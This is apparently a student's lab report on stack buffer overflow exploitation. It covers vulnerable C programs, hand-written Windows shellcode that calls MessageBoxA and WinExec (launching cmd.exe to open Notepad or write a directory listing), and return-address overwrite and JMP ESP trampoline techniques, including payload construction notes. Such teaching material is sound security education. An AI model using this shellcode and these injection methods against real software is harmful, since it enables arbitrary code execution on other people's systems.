实验3:shellcode

1. 实验目标

  • 了解shellcode注入原理。

  • 理解给出的弹出对话框的汇编代码。

  • 通过淹没静态地址来实现shellcode的代码植入。

  • 通过跳板来实现shellcode的代码植入。

  • 尝试修改汇编语句的shellcode实现修改标题等简单操作。

  • 信安思考题

            在不修改StackOverrun程序源代码的情况下,构造shellcode,通过JMP ESP的方式实现通过记事本打开shellcode.txt(可使用CreateProcessAWinExecAPI)。

  • 双培思考题:

            在不修改StackOverrun程序源代码的情况下,构造shellcode,通过JMP ESP的方式实现通过DIR命令把C盘目录结构保存在shellcode.txt中(可使用CreateProcessAWinExec等API)。

2. 实验要求

  • 详述修改过程
  • 实验结果需要截图证明
  • 绘制修改原理的图示

3. 测试步骤与结果

源代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
#include <stdio.h>
#include <windows.h>
#include <string>
#define PASSWORD "1234567"
int verify_password (char *password){
int authenticated;
char buffer[44];
authenticated=strcmp(password,PASSWORD);
strcpy(buffer,password);//over flowed here!
return authenticated;
}
main(){
int valid_flag=0;
char password[1024];
FILE * fp;
LoadLibrary("user32.dll");//prepare for messagebox
if(!(fp=fopen("password.txt","rw+"))){
exit(0);
}
fscanf(fp,"%s",password);
valid_flag = verify_password(password);
if(valid_flag){
printf("incorrect password!\n");
}else
{
printf("Congratulation! You have passed the verification!\n");
}
fclose(fp);
}

3.1. 获取所需的MessageBoxA和ExitProcess函数地址

  1. 将shellcode实验文件夹下的overflow_exe.cpp文件通过Microsoft Visual C++打开,并在组件选项栏中进行编译和组件,最终生成exe文件。

            此程序中增加头文件window.h,以便调用LoadLibrary函数去装载user32.dll;Verify_password的buffer变量为44字节,以便能够承载我们编写的shellcode;Main函数装载user32.dll,以便能在植入代码中调用MessageBox。

  2. 运行Dependency Walker程序,并用其打开生成的exe文件。

    打开后点击剖析->开始剖析件开始剖析。

    弹出设置信息,直接默认设置点击确认即可。

    剖析成功后,选取KERNEL32.DLL链接库。

            Denpendency Walker是一个免费的实用程序,可以扫描任何32位或64位Windows模块(exe,dll,ocx,sys等),并构建所有依赖模块的分层树形图。对于找到的每个模块,它都会列出该模块导出的所有函数,以及其他模块实际调用了哪些函数。另一个视图显示所需文件的最小集,以及有关每个文件的详细信息,包括文件的完整路径、基址、版本号、计算机类型、调试信息等。

  3. 获取ExitProcess函数入口地址。

    查询KERNEL32链接库中ExitProcess函数入口点为0x0001B0BB(右下角窗口查找)。

    再在下面的窗口查找KERNEL32.DLL的实际基址(Actual Base)为0x77E60000

    因此其ExitProcess函数地址为动态链接库实际基址加入口偏移地址,即两地址相加为0x7E7B0BB

  4. 同理,获取MessageBoxA函数入口地址。

    查询USER32链接库中MessageBoxA函数入口点为0x00033D68(右下角窗口查找)。

    再在下面的窗口查找USER32.DLL的实际基址(Actual Base)为0X77DF0000

    两地址相加为0x77E23D68

3.2. 编写shellcode并获得其操作码

  1. 编写shellcode运行。

    打开shellcode文件夹中的shellcode.cpp文件,更改其中MessageBoxA和ExitProcess的地址。

    编译和组件后运行生成的exe文件。

    可以看到成功弹出了对话框。

  2. OllyICE打开shellcode的exe文件进行分析。

            拖入到OllyICE中点击运行后,程序运行结束,可以看到之前编写shellcode中的汇编语言,复制选定需要的部分:从xor ebp,ebp开始,到 call eax结束(调用exit process的那个call eax)。

    右键保存到文件,就可以得到操作码的文件。

3.1. 淹没静态地址来实现shellcode的代码植入

  1. 观察源代码,可以password[1024]的过长内容通过strcpy复制给buffer[44],由此可导致栈溢出。

  2. 在生成的exe文件路径下创建password.txt文档,并在其中写入1234567。

  3. 将exe文件拖入OllyICE,在strcpy处设置断点,并执行到断点处。

            查看缓冲区信息,可以看到dest指向地址0x0012FAF0,其为数组的存放起始位置,也就是shellcode注入的起始位置。

  4. 用010 Editor在password.txt中写入payload,根据分析结构应为shellcode+填充字符+shellcode在缓冲区的起始地址。其中shellcode为3.2中获得的操作码,填充字符应保证其与shellcode的和为52字节,shellcode缓冲区地址为dest指向地址,需要注意地址是倒叙填入

  5. 最后运行exe文件即可弹出窗口,即可说明植入的shellcode导致栈溢出生效。

3.3. 跳板来实现shellcode的代码植入

  1. 使用ollydbg打开overflow_exe.exe 在strcpy函数处设置断点 运行到断点后,进行搜索。

  2. 等待搜索完毕后点击日志查看(L图标的按钮)。

    可以看到地址为77E2E32A

  3. shellcode结构。

            其在函数结束后,返回地址被覆盖为JMP ESP的地址进行执行,此时可以将shellcode直接写在父函数里令ESP跳转至此,从而下一步进行执行。

  4. 编写password.txt。

  5. 运行验证。

4. 测试结论

        可以看出栈溢出对程序运行的安全性有很大的威胁,如果不对栈进行保护,只要系统中存在栈溢出漏洞,即可令攻击者通过非正当方法获取操作权限。因此,需要对栈中保存数据的可执行权限做严格的管理,并且系统要能判断栈溢出从而采取相应的保护措施。

5. 思考题

源代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
/*
StackOverrun.c
This program shows an example of how a stack-based
buffer overrun can be used to execute arbitrary code. Its
objective is to find an input string that executes the function bar.
*/

#include <stdio.h>
#include <windows.h>
#include <string.h>

void foo(const char* input){
char buf[10];
LoadLibrary("user32.dll");//prepare for messagebox
//What? No extra arguments supplied to printf?
//It's a cheap trick to view the stack 8-)
//We'll see this trick again when we look at format strings.
printf("My stack looks like:\n%p\n%p\n%p\n%p\n%p\n% p\n%p\n%p\n%p\n%p\n\n");
//Pass the user input straight to secure code public enemy #1.
strcpy(buf, input);
printf("%s\n", buf);
printf("Now the stack looks like:\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n\n");
}

void bar(void){
printf("Augh! I've been hacked!\n");
}

int main(int argc, char* argv[]){
//Blatant cheating to make life easier on myself
printf("Address of foo = %p\n", foo);
printf("Address of bar = %p\n", bar);
foo(argv[1]);
return 0;
}

        可以看到strcpy将输入的内容复制到栈中,此处会导致栈溢出漏洞。另外main函数有两个参数,第一个参数int argc为传入的字符串个数,第二个参数是字符串指针数组,用于存放传入的字符串指针。

信安

        在不修改StackOverrun程序源代码的情况下,构造shellcode,通过JMP ESP的方式实现通过记事本打开shellcode.txt(可使用CreateProcessAWinExecAPI)。

        本次实验使用可使用CreateProcessAWinExec,此处选用WinExec,其第一个参数为要打开的程序名称,第二个参数为窗口大小。当调用该命令时还需要加入cmd的参数,c:\\shellcode.txt表示利用notepad打开C盘下的shellcode.txt文本文件,命令如下。

1
WinExec("cmd.exe /k notepad.exe C:\shellcode.txt", SW_SHOWNORMAL)
  1. 利用Dependency Walker获取WinExec函数的地址。

    根据地址计算到其真实地址0x0018601 + 0x77E60000 = 0x77E78601

  2. 将参数用十六进制表示。

    image-20220222171747886

  3. 编写shellcode,如下图并编译生成exe文件。

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    #include<windows.h>
    int main(){
    HINSTANCE LibHandle;
    char dllbuf[11] = "user32.dll";
    LibHandle = LoadLibrary(dllbuf);
    _asm{
    sub sp,0x440 //开辟栈空间
    xor ebx,ebx //将ebx中的值变为0
    push ebx //将ebx压入栈中,这是字符串结束符
    push 0x747874
    push 0x2E65646F
    push 0x636C6C65
    push 0x68735C3A
    push 0x43206578
    push 0x652E6461
    push 0x7065746F
    push 0x6E206B2F
    push 0x20657865
    push 0x2E646D63
    mov eax,esp //由于刚刚一直在压入参数,此时esp指向的就是bupt的地址
    push ebx // 0
    push eax // bupt的地址
    mov eax,0x77e78601 //WinExec 入口地址
    call eax
    }
    return 0;
    }
  4. 将shellcode代码生成的exe文件拖入OllyICE,并找到对应汇编语句右键复制到文件获取机器码。

    image-20220222153255463

  5. 进行搜索JMP ESP以作为跳板来进行攻击。

    可以找到其在user32.text字段有JMP ESP,得到地址为0x77E2E32A

双培

        在不修改StackOverrun程序源代码的情况下,构造shellcode,通过JMP ESP的方式实现通过DIR命令把C盘目录结构保存在shellcode.txt中(可使用CreateProcessAWinExec等API)。

        本次实验使用可使用CreateProcessAWinExec,此处选用WinExec("cmd.exe,SW_SHOWNORMAL"),其第一个参数为要打开的程序名称,第二个参数为窗口大小。当调用该命令时还需要加入cmd的参数,/k dir表示执行完dir命令后不关闭命令窗口,命令如下。

1
WinExec("cmd.exe /k dir > dir.txt", SW_SHOWNORMAL)
  1. 利用Dependency Walker获取WinExec函数的地址。

    根据地址计算到其真实地址0x0018601 + 0x77E60000 = 0x77E78601

  2. 将参数用十六进制表示。

  3. 编写shellcode,如下图并编译生成exe文件。

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    #include<windows.h>
    int main(){
    HINSTANCE LibHandle;
    char dllbuf[11] = "user32.dll";
    LibHandle = LoadLibrary(dllbuf);
    _asm{
    sub sp,0x440 //开辟栈空间
    xor ebx,ebx //将ebx中的值变为0
    push ebx //将ebx压入栈中,这是字符串结束符
    push 0x7478742E
    push 0x72696420
    push 0x3E207269
    push 0x64206B2F
    push 0x20657865
    push 0X2E646D63
    mov eax,esp //由于刚刚一直在压入参数,此时esp指向的就是bupt的地址
    push ebx // 0
    push eax // bupt的地址
    mov eax,0x77e78601 //WinExec 入口地址
    call eax
    }
    return 0;
    }
  4. 将shellcode代码生成的exe文件拖入OllyICE,并找到对应汇编语句右键复制到文件获取机器码。

  1. 进行搜索JMP ESP以作为跳板来进行攻击。

    可以找到其在user32.text字段有JMP ESP,得到地址为0x77E2E32A

  2. 构造payload。

    需要注意的是:

    • 汇编语言50和B8不能相邻,需要用90隔开。
    • D0不能作为结尾。
  3. 用OllyICE打开思考题exe调试,添加参数”payload”。

    将之前的payload当做参数输入,注意要用引号包住。

  4. 重新开始运行程序,可以看到程序跳到了编写的shellcode汇编处结束。

  5. 在可执行文件的当前目录可以看到生成了dir.txt文件,其中记录了执行指令后输出的当前目录信息。